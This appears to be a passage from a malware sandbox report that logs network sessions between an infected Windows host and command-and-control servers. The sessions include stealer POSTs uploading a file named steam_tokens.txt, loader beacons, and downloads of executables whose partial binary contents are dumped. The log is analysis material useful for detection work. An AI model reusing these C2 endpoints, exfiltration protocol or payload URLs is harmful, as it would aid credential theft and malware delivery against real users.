name="message"files------EGIDBFBFHJDGCAKEGHJE--
Nov 5, 2024 20:52:58.136171103 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:52:58.395154953 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCFCAAAAFBAKEBFBAKK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 43 41 41 41 41 46 42 41 4b 45 42 46 42 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CFCFCAAAAFBAKEBFBAKKContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------CFCFCAAAAFBAKEBFBAKKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CFCFCAAAAFBAKEBFBAKKContent-Disposition: form-data; name="file"------CFCFCAAAAFBAKEBFBAKK--
Nov 5, 2024 20:52:59.172178984 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:52:59.200845957 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 2d 2d 0d 0a Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="message"ybncbhylepme------DAAAFBKECAKEHIEBAFIE--
Nov 5, 2024 20:52:59.481271029 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:52:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 5, 2024 20:53:02.762831926 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 2d 2d 0d 0a Data Ascii: ------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HJECAAKKFHCFIECAAAKE--
Nov 5, 2024 20:53:03.533771992 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:53:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50110	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:44.839884996 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 5, 2024 20:52:45.739306927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50135	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:48.207338095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 5, 2024 20:52:48.755124092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50151	185.215.113.16	80	4816	C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:49.838414907 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 5, 2024 20:52:50.737359047 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:50 GMT Content-Type: application/octet-stream Content-Length: 2157568 Last-Modified: Tue, 05 Nov 2024 18:57:36 GMT Connection: keep-alive ETag: "672a6aa0-20ec00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 73 00 00 04 00 00 ef 18 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,s@s!@P.d. p.v@.rsrc .@.idata .@ *.@olexbnfi@0Y<@abdjuqmyps @.taggant0s" @
Nov 5, 2024 20:52:50.737379074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:50.737390995 CET	324	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:50.737401962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:50.737413883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:52:50.737423897 CET	1236	IN	Data Raw: 5a 0c 92 be ad 44 fc 0d 97 6b 98 f1 b0 d8 7f d7 d0 a1 47 be 40 5f 78 ae 97 9b 7d 3b 7d 08 fe 49 1c a0 f4 92 57 b0 40 1d 40 91 77 3b 38 54 da 0a 40 2c 80 47 38 54 14 f9 3f 2c 80 53 38 55 4e e7 3f 0d f6 3e 0c d8 bd 3f 20 93 75 97 ca b1 9d 7c 94 55 Data Ascii: ZDkG@_x};}IW@@w;8T@,G8T?,S8UN?>? u\|U:<*Lr1;/M\|5{8nF[@Wk)Eb[5AwI'Urb8v_fL#+Q@QJp'H[/l[0S56R\rr\
Nov 5, 2024 20:52:50.737437963 CET	636	IN	Data Raw: bb 9b 40 78 8e ec ec c9 83 a7 b5 ef 22 9e 67 62 7e 49 6c 3f 54 87 9c 20 32 26 d4 3b 2d fe e0 f1 ef 9f e8 90 be c9 20 18 b9 35 cc 9c ac 30 77 c4 b4 02 cb 73 d7 97 20 12 e4 93 ce 2a 0b 2c 7b 3b 46 8c 1a 48 b4 b7 2d 5d bf de 46 cd d0 8e 0f 4b d9 d8 Data Ascii: @x"gb~Il?T 2&;- 50ws ,{;FH-]FK$f'.mmkAi9p)Ci}mZ233Ifq<>$8AM&qI0u?7p/xpZlOo?2aaE_n3FZ~xSIEn=\|0O
Nov 5, 2024 20:52:50.737495899 CET	1236	IN	Data Raw: d8 f5 87 37 c5 d0 a3 33 1d 4c ca 7b a6 e8 02 49 60 b1 4a 50 c4 bc b3 9a de 08 e4 71 3c b9 31 49 35 40 cc 48 bf 38 a2 48 64 a1 18 4c fc d8 ce 42 76 58 79 3f 80 18 00 12 29 fb c5 3c fc 70 79 1b 31 d7 e6 50 b0 b0 0e 72 a4 0c a4 4f 1a 36 79 71 88 f7 Data Ascii: 73L{I`JPq<1I5@H8HdLBvXy?)<py1PrO6yq?$\|HWHk<{S@Xs8PO$(H\7L15qhH\|6y'9T7oKw5`HH#q5R"Q-Weh
Nov 5, 2024 20:52:50.737514019 CET	1236	IN	Data Raw: 3f d8 ca 5b f4 a9 70 3f 77 d8 98 9a d8 99 60 48 a3 a5 77 0b 68 aa 73 0f c6 b1 53 41 8a 59 c0 5f a0 98 8c b8 cc 66 85 f4 de a9 63 fb 49 e0 97 48 f0 14 a7 db db bc 78 3c fc d2 78 8b bd 23 7c eb 67 c3 97 ff c5 0c e4 76 26 bb d7 29 c1 20 79 50 4c a1 Data Ascii: ?[p?w`HwhsSAY_fcIHx<x#\|gv&) yPLPhw:`yql1WReg]#-+wx?D(M7ws^8h0Pth:6ynY8_otQG<>+
Nov 5, 2024 20:52:50.737524033 CET	1236	IN	Data Raw: b6 0d 93 37 23 a9 6f 9b 34 97 44 74 5f d1 87 cf c5 d2 0b 41 9a 9a e7 ef f5 95 1b e8 b4 a9 27 74 81 02 30 a1 63 24 38 49 cd 78 71 eb 77 84 26 39 fc 88 79 33 f0 ce 02 be 06 b8 96 25 d1 ce a9 53 c5 a1 e9 f3 a8 fa 2b 88 e4 31 79 77 b4 01 ee 7a 2c c2 Data Ascii: 7#o4Dt_A't0c$8Ixqw&9y3%S+1ywz,0VTr'm`,o4DhHi!0wXy?T9@y:KM!L0#sCg9$wM7<~n4T,xtboTLEfHW8)
Nov 5, 2024 20:52:50.742573977 CET	1236	IN	Data Raw: bd a7 7b a7 34 ed 22 e7 91 40 c2 3b ff 1c 50 81 3c 3a 61 b4 de df d0 3a e4 e0 6a 50 9c 52 f8 80 c0 47 4a 0b ed 96 af 99 52 9f 52 79 b3 bf e3 13 b7 3f b2 5e 91 78 89 3a a9 e3 6a 3f e4 e4 11 10 c3 27 41 4b af 5d 70 a9 70 f1 e1 12 02 48 7f 5f 02 3e Data Ascii: {4"@;P<:a:jPRGJRRy?^x:j?'AK]ppH_>q'uHvUM~5>`39jur/4Arh/Iw:lc$uc~QgfF9n/M5qk:0[HxbAWRUTJ4xz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50157	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:50.278183937 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 5, 2024 20:52:51.181258917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50168	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:52.858467102 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 5, 2024 20:52:53.778841019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50170	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:55.314563990 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 5, 2024 20:52:56.244726896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50176	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:57.896610022 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 5, 2024 20:52:58.825723886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:52:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50179	185.215.113.16	80	7888	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:52:59.490353107 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 5, 2024 20:53:00.404525042 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:53:00 GMT Content-Type: application/octet-stream Content-Length: 3301888 Last-Modified: Tue, 05 Nov 2024 18:57:44 GMT Connection: keep-alive ETag: "672a6aa8-326200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 70 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfp2@2M3@WkS2S2 @.rsrc@.idata @lfjbhkvb++@xakcdfow`2:2@.taggant0p2"@2@
Nov 5, 2024 20:53:00.404546976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:53:00.404557943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:53:00.404570103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 5, 2024 20:53:00.404602051 CET	1236	IN	Data Raw: 36 d9 fd f2 3d 6a 95 b0 e6 6e d3 d8 e5 56 d2 82 2d 1a ba 5a f7 99 b9 f2 9d 99 76 37 2a f0 b5 da d6 da fd f2 3d 4a 94 b0 e6 6e f3 d8 e5 56 d2 62 2d 1a ba 5a 17 99 b9 f2 9d 99 76 37 2a f0 bd da c6 da fd f2 3d 7a 91 b0 e6 6e 93 d8 e5 56 d2 c2 30 1a Data Ascii: 6=jnV-Zv7=JnVb-Zv7=znV0Z7v7="nV0ZWv7=nSV0Zwv7b=nsV/Zv7R=fnVB/Zv7*N=:n3V"+
Nov 5, 2024 20:53:00.404611111 CET	1236	IN	Data Raw: b7 c5 b9 f2 9d 99 76 37 2a f0 bd da aa dc fd f2 3d 32 95 b0 e6 6e 33 da e5 56 d2 22 1f 1a ba 5a d7 c5 b9 f2 9d 99 76 37 2a f0 bd da 92 dc fd f2 3d c6 ad b0 e6 6e d3 d9 e5 56 d2 82 1e 1a ba 5a f7 c4 b9 f2 9d 99 76 37 2a f0 b1 da 9a dc fd f2 3d ca Data Ascii: v7=2n3V"Zv7=nVZv7=nVbZv7=:nVZ7v7v=nVZWv7~=nSV!Zwv7n=nsV Zv7V="
Nov 5, 2024 20:53:00.404622078 CET	1236	IN	Data Raw: e6 6e 73 cf e5 56 d2 e2 04 1a ba 5a 97 c0 b9 f2 9d 99 76 37 2a f0 f9 da b6 cf fd f2 3d 82 91 b0 e6 6e 13 cf e5 56 d2 42 04 1a ba 5a b7 c0 b9 f2 9d 99 76 37 2a f0 09 db 7e cf fd f2 3d 76 ad b0 e6 6e 33 cf e5 56 d2 22 04 1a ba 5a d7 c0 b9 f2 9d 99 Data Ascii: nsVZv7=nVBZv7~=vn3V"Zv7*=nVZv7=JnVbZv7=nVZ7v7=nVZWv7*f=nSVZwv
